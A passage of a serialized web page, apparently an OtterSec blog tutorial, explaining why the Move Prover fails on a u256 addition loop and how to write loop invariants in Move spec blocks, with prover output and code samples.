spec",{"type":25,"tag":216,"props":14353,"children":14354},{"style":8199},[14355],{"type":31,"value":13531},{"type":25,"tag":216,"props":14357,"children":14358},{"style":8199},[14359],{"type":31,"value":7235},{"type":25,"tag":216,"props":14361,"children":14362},{"class":6916,"line":7104},[14363,14368,14373,14377,14381,14385,14389,14393,14397,14401,14405,14409,14413,14417,14421,14425,14429,14433,14437,14441,14445],{"type":25,"tag":216,"props":14364,"children":14365},{"style":6947},[14366],{"type":31,"value":14367},"|",{"type":25,"tag":216,"props":14369,"children":14370},{"style":7041},[14371],{"type":31,"value":14372},"         aborts_if",{"type":25,"tag":216,"props":14374,"children":14375},{"style":8199},[14376],{"type":31,"value":13654},{"type":25,"tag":216,"props":14378,"children":14379},{"style":6958},[14380],{"type":31,"value":1844},{"type":25,"tag":216,"props":14382,"children":14383},{"style":7041},[14384],{"type":31,"value":162},{"type":25,"tag":216,"props":14386,"children":14387},{"style":6958},[14388],{"type":31,"value":7030},{"type":25,"tag":216,"props":14390,"children":14391},{"style":8199},[14392],{"type":31,"value":3533},{"type":25,"tag":216,"props":14394,"children":14395},{"style":8199},[14396],{"type":31,"value":13654},{"type":25,"tag":216,"props":14398,"children":14399},{"style":6958},[14400],{"type":31,"value":1844},{"type":25,"tag":216,"props":14402,"children":14403},{"style":7041},[14404],{"type":31,"value":7165},{"type":25,"tag":216,"props":14406,"children":14407},{"style":6958},[14408],{"type":31,"value":7030},{"type":25,"tag":216,"props":14410,"children":14411},{"style":6947},[14412],{"type":31,"value":5896},{"type":25,"tag":216,"props":14414,"children":14415},{"style":8199},[14416],{"type":31,"value":266},{"type":25,"tag":216,"props":14418,"children":14419},{"style":8199},[14420],{"type":31,"value":13610},{"type":25,"tag":216,"props":14422,"children":14423},{"style":6930},[14424],{"type":31,"value":13767},{"type":25,"tag":216,"props":14426,"children":14427},{"style":8199},[14428],{"type":31,"value":13610},{"type":25,"tag":216,"props":14430,"children":14431},{"style":6930},[14432],{"type":31,"value":13767},{"type":25,"tag":216,"props":14434,"children":14435},{"style":8199},[14436],{"type":31,"value":13610},{"type":25,"tag":216,"props":14438,"children":14439},{"style":6930},[14440],{"type":31,"value":13767},{"type":25,"tag":216,"props":14442,"children":14443},{"style":8199},[14444],{"type":31,"value":13610},{"type":25,"tag":216,"props":14446,"children":14447},{"style":6958},[14448],{"type":31,"value":6961},{"type":25,"tag":216,"props":14450,"children":14451},{"class":6916,"line":7210},[14452,14456,14461,14465,14469,14473,14477,14481,14485,14489,14493,14497,14501,14505,14509,14513],{"type":25,"tag":216,"props":14453,"children":14454},{"style":6947},[14455],{"type":31,"value":14367},{"type":25,"tag":216,"props":14457,"children":14458},{"style":7041},[14459],{"type":31,"value":14460},"         ensures",{"type":25,"tag":216,"props":14462,"children":14463},{"style":8199},[14464],{"type":31,"value":13654},{"type":25,"tag":216,"props":14466,"children":14467},{"style":6958},[14468],{"type":31,"value":1844},{"type":25,"tag":216,"props":14470,"children":14471},{"style":7041},[14472],{"type":31,"value":13031},{"type":25,"tag":216,"props":14474,"children":14475},{"style":6958},[14476],{"type":31,"value":7030},{"type":25,"tag":216,"props":14478,"children":14479},{"style":8199},[14480],{"type":31,"value":12522},{"type":25,"tag":216,"props":14482,"children":14483},{"style":8199},[14484],{"type":31,"value":13654},{"type":25,"tag":216,"props":14486,"children":14487},{"style":6958},[14488],{"type":31,"value":1844},{"type":25,"tag":216,"props":14490,"children":14491},{"style":7041},[14492],{"type":31,"value":162},{"type":25,"tag":216,"props":14494,"children":14495},{"style":6958},[14496],{"type":31,"value":7030},{"type":25,"tag":216,"props":14498,"children":14499},{"style":8199},[14500],{"type":31,"value":3533},{"type":25,"tag":216,"props":14502,"children":14503},{"style":8199},[14504],{"type":31,"value":13654},{"type":25,"tag":216,"props":14506,"children":14507},{"style":6958},[14508],{"type":31,"value":1844},{"type":25,"tag":216,"props":14510,"children":14511},{"style":7041},[14512],{"type":31,"value":7165},{"type":25,"tag":216,"props":14514,"children":14515},{"style":6958},[14516],{"type":31,"value":7791},{"type":25,"tag":216,"props":14518,"children":14519},{"class":6916,"line":7238},[14520,14524],{"type":25,"tag":216,"props":14521,"children":14522},{"style":6947},[14523],{"type":31,"value":14367},{"type":25,"tag":216,"props":14525,"children":14526},{"style":6958},[14527],{"type":31,"value":14528},"     }\n",{"type":25,"tag":216,"props":14530,"children":14531},{"class":6916,"line":7251},[14532],{"type":25,"tag":216,"props":14533,"children":14534},{"style":7041},[14535],{"type":31,"value":14536},"╰─────^\n",{"type":25,"tag":216,"props":14538,"children":14539},{"class":6916,"line":7269},[14540],{"type":25,"tag":216,"props":14541,"children":14542},{"emptyLinePlaceholder":16},[14543],{"type":31,"value":7636},{"type":25,"tag":216,"props":14545,"children":14546},{"class":6916,"line":7290},[14547],{"type":25,"tag":216,"props":14548,"children":14549},{"style":6958},[14550],{"type":31,"value":14269},{"type":25,"tag":216,"props":14552,"children":14553},{"class":6916,"line":7299},[14554],{"type":25,"tag":216,"props":14555,"children":14556},{"emptyLinePlaceholder":16},[14557],{"type":31,"value":7636},{"type":25,"tag":216,"props":14559,"children":14560},{"class":6916,"line":7551},[14561,14566,14571],{"type":25,"tag":216,"props":14562,"children":14563},{"style":7041},[14564],{"type":31,"value":14565}," at",{"type":25,"tag":216,"props":14567,"children":14568},{"style":8199},[14569],{"type":31,"value":14570}," ./sources/u256.move:316:",{"type":25,"tag":216,"props":14572,"children":14573},{"style":8199},[14574],{"type":31,"value":14575}," add\n",{"type":25,"tag":216,"props":14577,"children":14578},{"class":6916,"line":7568},[14579,14584,14589,14594,14598,14602,14606,14611,14616,14621,14626,14631],{"type":25,"tag":216,"props":14580,"children":14581},{"style":7041},[14582],{"type":31,"value":14583}," enter",{"type":25,"tag":216,"props":14585,"children":14586},{"style":8199},[14587],{"type":31,"value":14588}," loop,",{"type":25,"tag":216,"props":14590,"children":14591},{"style":8199},[14592],{"type":31,"value":14593}," variable",{"type":25,"tag":216,"props":14595,"children":14596},{"style":6958},[14597],{"type":31,"value":1844},{"type":25,"tag":216,"props":14599,"children":14600},{"style":7041},[14601],{"type":31,"value":3239},{"type":25,"tag":216,"props":14603,"children":14604},{"style":6958},[14605],{"type":31,"value":7030},{"type":25,"tag":216,"props":14607,"children":14608},{"style":8199},[14609],{"type":31,"value":14610},"carry,",{"type":25,"tag":216,"props":14612,"children":14613},{"style":8199},[14614],{"type":31,"value":14615}," i,",{"type":25,"tag":216,"props":14617,"children":14618},{"style":8199},[14619],{"type":31,"value":14620}," ret",{"type":25,"tag":216,"props":14622,"children":14623},{"style":8199},[14624],{"type":31,"value":14625}," havocked",{"type":25,"tag":216,"props":14627,"children":14628},{"style":8199},[14629],{"type":31,"value":14630}," and",{"type":25,"tag":216,"props":14632,"children":14633},{"style":8199},[14634],{"type":31,"value":14635}," reassigned\n",{"type":25,"tag":216,"props":14637,"children":14638},{"class":6916,"line":7585},[14639,14644,14648],{"type":25,"tag":216,"props":14640,"children":14641},{"style":7041},[14642],{"type":31,"value":14643},"     carry",{"type":25,"tag":216,"props":14645,"children":14646},{"style":8199},[14647],{"type":31,"value":6950},{"type":25,"tag":216,"props":14649,"children":14650},{"style":6983},[14651],{"type":31,"value":14652}," 54\n",{"type":25,"tag":216,"props":14654,"children":14655},{"class":6916,"line":7598},[14656,14661,14665],{"type":25,"tag":216,"props":14657,"children":14658},{"style":7041},[14659],{"type":31,"value":14660},"     i",{"type":25,"tag":216,"props":14662,"children":14663},{"style":8199},[14664],{"type":31,"value":6950},{"type":25,"tag":216,"props":14666,"children":14667},{"style":6983},[14668],{"type":31,"value":14669}," 3792\n",{"type":25,"tag":216,"props":14671,"children":14672},{"class":6916,"line":7607},[14673,14678,14682,14687,14691,14696,14701,14705,14710,14715,14719,14724,14729,14733,14738],{"type":25,"tag":216,"props":14674,"children":14675},{"style":7041},[14676],{"type":31,"value":14677},"     ret",{"type":25,"tag":216,"props":14679,"children":14680},{"style":8199},[14681],{"type":31,"value":6950},{"type":25,"tag":216,"props":14683,"children":14684},{"style":8199},[14685],{"type":31,"value":14686}," u256.U256{v0",{"type":25,"tag":216,"props":14688,"children":14689},{"style":8199},[14690],{"type":31,"value":6950},{"type":25,"tag":216,"props":14692,"children":14693},{"style":8199},[14694],{"type":31,"value":14695}," 26418,",{"type":25,"tag":216,"props":14697,"children":14698},{"style":8199},[14699],{"type":31,"value":14700}," v1",{"type":25,"tag":216,"props":14702,"children":14703},{"style":8199},[14704],{"type":31,"value":6950},{"type":25,"tag":216,"props":14706,"children":14707},{"style":8199},[14708],{"type":31,"value":14709}," 27938,",{"type":25,"tag":216,"props":14711,"children":14712},{"style":8199},[14713],{"type":31,"value":14714}," v2",{"type":25,"tag":216,"props":14716,"children":14717},{"style":8199},[14718],{"type":31,"value":6950},{"type":25,"tag":216,"props":14720,"children":14721},{"style":8199},[14722],{"type":31,"value":14723}," 6900,",{"type":25,"tag":216,"props":14725,"children":14726},{"style":8199},[14727],{"type":31,"value":14728}," v3",{"type":25,"tag":216,"props":14730,"children":14731},{"style":8199},[14732],{"type":31,"value":6950},{"type":25,"tag":216,"props":14734,"children":14735},{"style":6983},[14736],{"type":31,"value":14737}," 1999",{"type":25,"tag":216,"props":14739,"children":14740},{"style":8199},[14741],{"type":31,"value":7868},{"type":25,"tag":216,"props":14743,"children":14744},{"class":6916,"line":7630},[14745,14749,14754],{"type":25,"tag":216,"props":14746,"children":14747},{"style":7041},[14748],{"type":31,"value":14565},{"type":25,"tag":216,"props":14750,"children":14751},{"style":8199},[14752],{"type":31,"value":14753}," ./sources/u256.move:346:",{"type":25,"tag":216,"props":14755,"children":14756},{"style":8199},[14757],{"type":31,"value":14575},{"type":25,"tag":216,"props":14759,"children":14760},{"class":6916,"line":7639},[14761],{"type":25,"tag":216,"props":14762,"children":14763},{"style":7041},[14764],{"type":31,"value":14765},"     ABORTED\n",{"type":25,"tag":216,"props":14767,"children":14768},{"class":6916,"line":7648},[14769],{"type":25,"tag":216,"props":14770,"children":14771},{"emptyLinePlaceholder":16},[14772],{"type":31,"value":7636},{"type":25,"tag":216,"props":14774,"children":14775},{"class":6916,"line":7716},[14776,14781,14786,14790,14795,14800,14805,14809,14814,14818],{"type":25,"tag":216,"props":14777,"children":14778},{"style":7041},[14779],{"type":31,"value":14780},"FAILURE",{"type":25,"tag":216,"props":14782,"children":14783},{"style":8199},[14784],{"type":31,"value":14785}," proving",{"type":25,"tag":216,"props":14787,"children":14788},{"style":6983},[14789],{"type":31,"value":8465},{"type":25,"tag":216,"props":14791,"children":14792},{"style":8199},[14793],{"type":31,"value":14794}," modules",{"type":25,"tag":216,"props":14796,"children":14797},{"style":8199},[14798],{"type":31,"value":14799}," from",{"type":25,"tag":216,"props":14801,"children":14802},{"style":8199},[14803],{"type":31,"value":14804}," package",{"type":25,"tag":216,"props":14806,"children":14807},{"style":8199},[14808],{"type":31,"value":14324},{"type":25,"tag":216,"props":14810,"children":14811},{"style":7041},[14812],{"type":31,"value":14813},"u256",{"type":25,"tag":216,"props":14815,"children":14816},{"style":8199},[14817],{"type":31,"value":14333},{"type":25,"tag":216,"props":14819,"children":14820},{"style":6958},[14821],{"type":31,"value":14822}," in 9.143s\n",{"type":25,"tag":216,"props":14824,"children":14825},{"class":6916,"line":7724},[14826],{"type":25,"tag":216,"props":14827,"children":14828},{"style":6958},[14829],{"type":31,"value":14830},"{\n",{"type":25,"tag":216,"props":14832,"children":14833},{"class":6916,"line":7754},[14834,14839,14843],{"type":25,"tag":216,"props":14835,"children":14836},{"style":7041},[14837],{"type":31,"value":14838},"    \"Error\"",{"type":25,"tag":216,"props":14840,"children":14841},{"style":7041},[14842],{"type":31,"value":1466},{"type":25,"tag":216,"props":14844,"children":14845},{"style":8199},[14846],{"type":31,"value":14847}," \"Move Prover failed: exiting with verification errors\"\n",{"type":25,"tag":216,"props":14849,"children":14850},{"class":6916,"line":7762},[14851],{"type":25,"tag":216,"props":14852,"children":14853},{"style":6958},[14854],{"type":31,"value":7868},{"type":25,"tag":38,"props":14856,"children":14857},{},[14858,14860,14865],{"type":31,"value":14859},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":25,"tag":82,"props":14861,"children":14863},{"className":14862},[],[14864],{"type":31,"value":12271},{"type":31,"value":14866}," clauses. But there is no other abort situation that we have to cover, right?",{"type":25,"tag":38,"props":14868,"children":14869},{},[14870,14872,14878],{"type":31,"value":14871},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":25,"tag":82,"props":14873,"children":14875},{"className":14874},[],[14876],{"type":31,"value":14877},"ret havocked and reassigned",{"type":31,"value":179},{"type":25,"tag":38,"props":14880,"children":14881},{},[14882],{"type":31,"value":14883},"What does this mean?",{"type":25,"tag":38,"props":14885,"children":14886},{},[14887,14889,14896],{"type":31,"value":14888},"By diving into the Move Prover source, we find a ",{"type":25,"tag":162,"props":14890,"children":14893},{"href":14891,"rel":14892},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[166],[14894],{"type":31,"value":14895},"likely suspect",{"type":31,"value":14897},". The prover attempts to prove all loops with induction!",{"type":25,"tag":38,"props":14899,"children":14900},{},[14901],{"type":31,"value":14902},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":25,"tag":6705,"props":14904,"children":14905},{},[14906,14911],{"type":25,"tag":2037,"props":14907,"children":14908},{},[14909],{"type":31,"value":14910},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":25,"tag":2037,"props":14912,"children":14913},{},[14914],{"type":31,"value":14915},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":25,"tag":38,"props":14917,"children":14918},{},[14919,14921,14926,14928,14934,14935,14941,14942,14947,14949,14954],{"type":31,"value":14920},"The loop prover will also ",{"type":25,"tag":9267,"props":14922,"children":14923},{},[14924],{"type":31,"value":14925},"havoc, or assign random values to, all variables written to inside the loop",{"type":31,"value":14927},". Going back to the log message, this implies that the variables ",{"type":25,"tag":82,"props":14929,"children":14931},{"className":14930},[],[14932],{"type":31,"value":14933},"carry",{"type":31,"value":7020},{"type":25,"tag":82,"props":14936,"children":14938},{"className":14937},[],[14939],{"type":31,"value":14940},"ret",{"type":31,"value":1301},{"type":25,"tag":82,"props":14943,"children":14945},{"className":14944},[],[14946],{"type":31,"value":2283},{"type":31,"value":14948}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":25,"tag":82,"props":14950,"children":14952},{"className":14951},[],[14953],{"type":31,"value":13588},{"type":31,"value":14955}," makes no sense.",{"type":25,"tag":38,"props":14957,"children":14958},{},[14959],{"type":31,"value":14960},"More concretely, the loop analysis translates into the following steps.",{"type":25,"tag":6705,"props":14962,"children":14963},{},[14964,14969,14974,14979,14984,14989],{"type":25,"tag":2037,"props":14965,"children":14966},{},[14967],{"type":31,"value":14968},"Assert the loop invariant",{"type":25,"tag":2037,"props":14970,"children":14971},{},[14972],{"type":31,"value":14973},"Havoc all modified variables",{"type":25,"tag":2037,"props":14975,"children":14976},{},[14977],{"type":31,"value":14978},"Assume the loop invariant",{"type":25,"tag":2037,"props":14980,"children":14981},{},[14982],{"type":31,"value":14983},"Assume the loop guard (the code inside the while condition)",{"type":25,"tag":2037,"props":14985,"children":14986},{},[14987],{"type":31,"value":14988},"Run the loop body",{"type":25,"tag":2037,"props":14990,"children":14991},{},[14992],{"type":31,"value":14968},{"type":25,"tag":38,"props":14994,"children":14995},{},[14996],{"type":31,"value":14997},"There are two approaches to dealing with loops.",{"type":25,"tag":38,"props":14999,"children":15000},{},[15001],{"type":31,"value":15002},"The first would be to specify a loop invariant.",{"type":25,"tag":38,"props":15004,"children":15005},{},[15006,15008,15015],{"type":31,"value":15007},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":25,"tag":162,"props":15009,"children":15012},{"href":15010,"rel":15011},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[166],[15013],{"type":31,"value":15014},"previous post",{"type":31,"value":179},{"type":25,"tag":206,"props":15017,"children":15019},{"code":15018,"language":6908,"meta":7,"className":6909,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n      vector::push_back(\n          &mut amounts_times_coins,\n          (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n      );\n      i = i + 1;\n  };\n",[15020],{"type":25,"tag":82,"props":15021,"children":15022},{"__ignoreMap":7},[15023,15035,15046,15082,15105,15188,15195,15219,15227,15247,15267,15358,15365,15393],{"type":25,"tag":216,"props":15024,"children":15025},{"class":6916,"line":6917},[15026,15031],{"type":25,"tag":216,"props":15027,"children":15028},{"style":6967},[15029],{"type":31,"value":15030},"  while",{"type":25,"tag":216,"props":15032,"children":15033},{"style":6958},[15034],{"type":31,"value":12479},{"type":25,"tag":216,"props":15036,"children":15037},{"class":6916,"line":6763},[15038,15042],{"type":25,"tag":216,"props":15039,"children":15040},{"style":6941},[15041],{"type":31,"value":12876},{"type":25,"tag":216,"props":15043,"children":15044},{"style":6958},[15045],{"type":31,"value":7235},{"type":25,"tag":216,"props":15047,"children":15048},{"class":6916,"line":6772},[15049,15054,15058,15062,15066,15070,15074,15078],{"type":25,"tag":216,"props":15050,"children":15051},{"style":6941},[15052],{"type":31,"value":15053},"          invariant",{"type":25,"tag":216,"props":15055,"children":15056},{"style":7041},[15057],{"type":31,"value":12504},{"type":25,"tag":216,"props":15059,"children":15060},{"style":6958},[15061],{"type":31,"value":1844},{"type":25,"tag":216,"props":15063,"children":15064},{"style":6941},[15065],{"type":31,"value":12513},{"type":25,"tag":216,"props":15067,"children":15068},{"style":6958},[15069],{"type":31,"value":7030},{"type":25,"tag":216,"props":15071,"children":15072},{"style":6947},[15073],{"type":31,"value":12522},{"type":25,"tag":216,"props":15075,"children":15076},{"style":6941},[15077],{"type":31,"value":7348},{"type":25,"tag":216,"props":15079,"children":15080},{"style":6958},[15081],{"type":31,"value":6961},{"type":25,"tag":216,"props":15083,"children":15084},{"class":6916,"line":6999},[15085,15089,15093,15097,15101],{"type":25,"tag":216,"props":15086,"children":15087},{"style":6941},[15088],{"type":31,"value":15053},{"type":25,"tag":216,"props":15090,"children":15091},{"style":6941},[15092],{"type":31,"value":7348},{"type":25,"tag":216,"props":15094,"children":15095},{"style":6947},[15096],{"type":31,"value":12143},{"type":25,"tag":216,"props":15098,"children":15099},{"style":6941},[15100],{"type":31,"value":12433},{"type":25,"tag":216,"props":15102,"children":15103},{"style":6958},[15104],{"type":31,"value":6961},{"type":25,"tag":216,"props":15106,"children":15107},{"class":6916,"line":7104},[15108,15112,15116,15120,15124,15128,15132,15136,15140,15144,15148,15152,15156,15160,15164,15168,15172,15176,15180,15184],{"type":25,"tag":216,"props":15109,"children":15110},{"style":6941},[15111],{"type":31,"value":15053},{"type":25,"tag":216,"props":15113,"children":15114},{"style":6941},[15115],{"type":31,"value":12565},{"type":25,"tag":216,"props":15117,"children":15118},{"style":6941},[15119],{"type":31,"value":12570},{"type":25,"tag":216,"props":15121,"children":15122},{"style":6930},[15123],{"type":31,"value":6980},{"type":25,"tag":216,"props":15125,"children":15126},{"style":6983},[15127],{"type":31,"value":6986},{"type":25,"tag":216,"props":15129,"children":15130},{"style":6947},[15131],{"type":31,"value":6991},{"type":25,"tag":216,"props":15133,"children":15134},{"style":6941},[15135],{"type":31,"value":2283},{"type":25,"tag":216,"props":15137,"children":15138},{"style":6947},[15139],{"type":31,"value":1466},{"type":25,"tag":216,"props":15141,"children":15142},{"style":6941},[15143],{"type":31,"value":12368},{"type":25,"tag":216,"props":15145,"children":15146},{"style":6958},[15147],{"type":31,"value":7695},{"type":25,"tag":216,"props":15149,"children":15150},{"style":6941},[15151],{"type":31,"value":12603},{"type":25,"tag":216,"props":15153,"children":15154},{"style":6958},[15155],{"type":31,"value":12608},{"type":25,"tag":216,"props":15157,"children":15158},{"style":6947},[15159],{"type":31,"value":12522},{"type":25,"tag":216,"props":15161,"children":15162},{"style":6941},[15163],{"type":31,"value":12617},{"type":25,"tag":216,"props":15165,"children":15166},{"style":6958},[15167],{"type":31,"value":7695},{"type":25,"tag":216,"props":15169,"children":15170},{"style":6941},[15171],{"type":31,"value":12603},{"type":25,"tag":216,"props":15173,"children":15174},{"style":6958},[15175],{"type":31,"value":12608},{"type":25,"tag":216,"props":15177,"children":15178},{"style":6947},[15179],{"type":31,"value":8513},{"type":25,"tag":216,"props":15181,"children":15182},{"style":6941},[15183],{"type":31,"value":12433},{"type":25,"tag":216,"props":15185,"children":15186},{"style":6958},[15187],{"type":31,"value":6961},{"type":25,"tag":216,"props":15189,"children":15190},{"class":6916,"line":7210},[15191],{"type":25,"tag":216,"props":15192,"children":15193},{"style":6958},[15194],{"type":31,"value":12868},{"type":25,"tag":216,"props":15196,"children":15197},{"class":6916,"line":7238},[15198,15203,15207,15211,15215],{"type":25,"tag":216,"props":15199,"children":15200},{"style":6958},[15201],{"type":31,"value":15202},"      (",{"type":25,"tag":216,"props":15204,"children":15205},{"style":6941},[15206],{"type":31,"value":2283},{"type":25,"tag":216,"props":15208,"children":15209},{"style":6947},[15210],{"type":31,"value":12666},{"type":25,"tag":216,"props":15212,"children":15213},{"style":6941},[15214],{"type":31,"value":12433},{"type":25,"tag":216,"props":15216,"children":15217},{"style":6958},[15218],{"type":31,"value":7101},{"type":25,"tag":216,"props":15220,"children":15221},{"class":6916,"line":7251},[15222],{"type":25,"tag":216,"props":15223,"children":15224},{"style":6958},[15225],{"type":31,"value":15226},"  }) {\n",{"type":25,"tag":216,"props":15228,"children":15229},{"class":6916,"line":7269},[15230,15235,15239,15243],{"type":25,"tag":216,"props":15231,"children":15232},{"style":6958},[15233],{"type":31,"value":15234},"      vector",{"type":25,"tag":216,"props":15236,"children":15237},{"style":6947},[15238],{"type":31,"value":7432},{"type":25,"tag":216,"props":15240,"children":15241},{"style":7041},[15242],{"type":31,"value":12699},{"type":25,"tag":216,"props":15244,"children":15245},{"style":6958},[15246],{"type":31,"value":7414},{"type":25,"tag":216,"props":15248,"children":15249},{"class":6916,"line":7290},[15250,15255,15259,15263],{"type":25,"tag":216,"props":15251,"children":15252},{"style":6947},[15253],{"type":31,"value":15254},"          &",{"type":25,"tag":216,"props":15256,"children":15257},{"style":6930},[15258],{"type":31,"value":7685},{"type":25,"tag":216,"props":15260,"children":15261},{"style":6941},[15262],{"type":31,"value":12368},{"type":25,"tag":216,"props":15264,"children":15265},{"style":6958},[15266],{"type":31,"value":7459},{"type":25,"tag":216,"props":15268,"children":15269},{"class":6916,"line":7299},[15270,15274,15278,15282,15286,15290,15294,15298,15302,15306,15310,15314,15318,15322,15326,15330,15334,15338,15342,15346,15350,15354],{"type":25,"tag":216,"props":15271,"children":15272},{"style":6958},[15273],{"type":31,"value":12657},{"type":25,"tag":216,"props":15275,"children":15276},{"style":6947},[15277],{"type":31,"value":8513},{"type":25,"tag":216,"props":15279,"children":15280},{"style":6958},[15281],{"type":31,"value":12740},{"type":25,"tag":216,"props":15283,"children":15284},{"style":6947},[15285],{"type":31,"value":7432},{"type":25,"tag":216,"props":15287,"children":15288},{"style":7041},[15289],{"type":31,"value":12749},{"type":25,"tag":216,"props":15291,"children":15292},{"style":6958},[15293],{"type":31,"value":1844},{"type":25,"tag":216,"props":15295,"children":15296},{"style":6947},[15297],{"type":31,"value":7053},{"type":25,"tag":216,"props":15299,"children":15300},{"style":6941},[15301],{"type":31,"value":12313},{"type":25,"tag":216,"props":15303,"children":15304},{"style":6958},[15305],{"type":31,"value":12766},{"type":25,"tag":216,"props":15307,"children":15308},{"style":6941},[15309],{"type":31,"value":2283},{"type":25,"tag":216,"props":15311,"children":15312},{"style":6930},[15313],{"type":31,"value":12775},{"type":25,"tag":216,"props":15315,"children":15316},{"style":7369},[15317],{"type":31,"value":9805},{"type":25,"tag":216,"props":15319,"children":15320},{"style":6958},[15321],{"type":31,"value":12784},{"type":25,"tag":216,"props":15323,"children":15324},{"style":6930},[15325],{"type":31,"value":12789},{"type":25,"tag":216,"props":15327,"children":15328},{"style":7369},[15329],{"type":31,"value":12794},{"type":25,"tag":216,"props":15331,"children":15332},{"style":6958},[15333],{"type":31,"value":7030},{"type":25,"tag":216,"props":15335,"children":15336},{"style":6947},[15337],{"type":31,"value":8513},{"type":25,"tag":216,"props":15339,"children":15340},{"style":6958},[15341],{"type":31,"value":7010},{"type":25,"tag":216,"props":15343,"children":15344},{"style":6941},[15345],{"type":31,"value":12811},{"type":25,"tag":216,"props":15347,"children":15348},{"style":6930},[15349],{"type":31,"value":12775},{"type":25,"tag":216,"props":15351,"children":15352},{"style":7369},[15353],{"type":31,"value":12794},{"type":25,"tag":216,"props":15355,"children":15356},{"style":6958},[15357],{"type":31,"value":7101},{"type":25,"tag":216,"props":15359,"children":15360},{"class":6916,"line":7551},[15361],{"type":25,"tag":216,"props":15362,"children":15363},{"style":6958},[15364],{"type":31,"value":10712},{"type":25,"tag":216,"props":15366,"children":15367},{"class":6916,"line":7568},[15368,15373,15377,15381,15385,15389],{"type":25,"tag":216,"props":15369,"children":15370},{"style":6941},[15371],{"type":31,"value":15372},"      i",{"type":25,"tag":216,"props":15374,"children":15375},{"style":6947},[15376],{"type":31,"value":6950},{"type":25,"tag":216,"props":15378,"children":15379},{"style":6941},[15380],{"type":31,"value":7348},{"type":25,"tag":216,"props":15382,"children":15383},{"style":6947},[15384],{"type":31,"value":12852},{"type":25,"tag":216,"props":15386,"children":15387},{"style":6983},[15388],{"type":31,"value":8465},{"type":25,"tag":216,"props":15390,"children":15391},{"style":6958},[15392],{"type":31,"value":6961},{"type":25,"tag":216,"props":15394,"children":15395},{"class":6916,"line":7585},[15396],{"type":25,"tag":216,"props":15397,"children":15398},{"style":6958},[15399],{"type":31,"value":15400},"  };\n",{"type":25,"tag":38,"props":15402,"children":15403},{},[15404,15406,15412,15414,15419,15421,15427],{"type":31,"value":15405},"In this case, the brackets specify the loop invariant for the ",{"type":25,"tag":82,"props":15407,"children":15409},{"className":15408},[],[15410],{"type":31,"value":15411},"while",{"type":31,"value":15413}," loop. Note that because the loop invariant executes ",{"type":25,"tag":64,"props":15415,"children":15416},{},[15417],{"type":31,"value":15418},"after",{"type":31,"value":15420}," the loop guard, so we need to account for an extra step with ",{"type":25,"tag":82,"props":15422,"children":15424},{"className":15423},[],[15425],{"type":31,"value":15426},"i \u003C= n_coins",{"type":31,"value":179},{"type":25,"tag":206,"props":15429,"children":15431},{"code":15430,"language":6908,"meta":7,"className":6909,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n",[15432],{"type":25,"tag":82,"props":15433,"children":15434},{"__ignoreMap":7},[15435,15446,15457,15492,15515,15598,15605,15628],{"type":25,"tag":216,"props":15436,"children":15437},{"class":6916,"line":6917},[15438,15442],{"type":25,"tag":216,"props":15439,"children":15440},{"style":6967},[15441],{"type":31,"value":15030},{"type":25,"tag":216,"props":15443,"children":15444},{"style":6958},[15445],{"type":31,"value":12479},{"type":25,"tag":216,"props":15447,"children":15448},{"class":6916,"line":6763},[15449,15453],{"type":25,"tag":216,"props":15450,"children":15451},{"style":6941},[15452],{"type":31,"value":12876},{"type":25,"tag":216,"props":15454,"children":15455},{"style":6958},[15456],{"type":31,"value":7235},{"type":25,"tag":216,"props":15458,"children":15459},{"class":6916,"line":6772},[15460,15464,15468,15472,15476,15480,15484,15488],{"type":25,"tag":216,"props":15461,"children":15462},{"style":6941},[15463],{"type":31,"value":15053},{"type":25,"tag":216,"props":15465,"children":15466},{"style":7041},[15467],{"type":31,"value":12504},{"type":25,"tag":216,"props":15469,"children":15470},{"style":6958},[15471],{"type":31,"value":1844},{"type":25,"tag":216,"props":15473,"children":15474},{"style":6941},[15475],{"type":31,"value":12513},{"type":25,"tag":216,"props":15477,"children":15478},{"style":6958},[15479],{"type":31,"value":7030},{"type":25,"tag":216,"props":15481,"children":15482},{"style":6947},[15483],{"type":31,"value":12522},{"type":25,"tag":216,"props":15485,"children":15486},{"style":6941},[15487],{"type":31,"value":7348},{"type":25,"tag":216,"props":15489,"children":15490},{"style":6958},[15491],{"type":31,"value":6961},{"type":25,"tag":216,"props":15493,"children":15494},{"class":6916,"line":6999},[15495,15499,15503,15507,15511],{"type":25,"tag":216,"props":15496,"children":15497},{"style":6941},[15498],{"type":31,"value":15053},{"type":25,"tag":216,"props":15500,"children":15501},{"style":6941},[15502],{"type":31,"value":7348},{"type":25,"tag":216,"props":15504,"children":15505},{"style":6947},[15506],{"type":31,"value":12143},{"type":25,"tag":216,"props":15508,"children":15509},{"style":6941},[15510],{"type":31,"value":12433},{"type":25,"tag":216,"props":15512,"children":15513},{"style":6958},[15514],{"type":31,"value":6961},{"type":25,"tag":216,"props":15516,"children":15517},{"class":6916,"line":7104},[15518,15522,15526,15530,15534,15538,15542,15546,15550,15554,15558,15562,15566,15570,15574,15578,15582,15586,15590,15594],{"type":25,"tag":216,"props":15519,"children":15520},{"style":6941},[15521],{"type":31,"value":15053},{"type":25,"tag":216,"props":15523,"children":15524},{"style":6941},[15525],{"type":31,"value":12565},{"type":25,"tag":216,"props":15527,"children":15528},{"style":6941},[15529],{"type":31,"value":12570},{"type":25,"tag":216,"props":15531,"children":15532},{"style":6930},[15533],{"type":31,"value":6980},{"type":25,"tag":216,"props":15535,"children":15536},{"style":6983},[15537],{"type":31,"value":6986},{"type":25,"tag":216,"props":15539,"children":15540}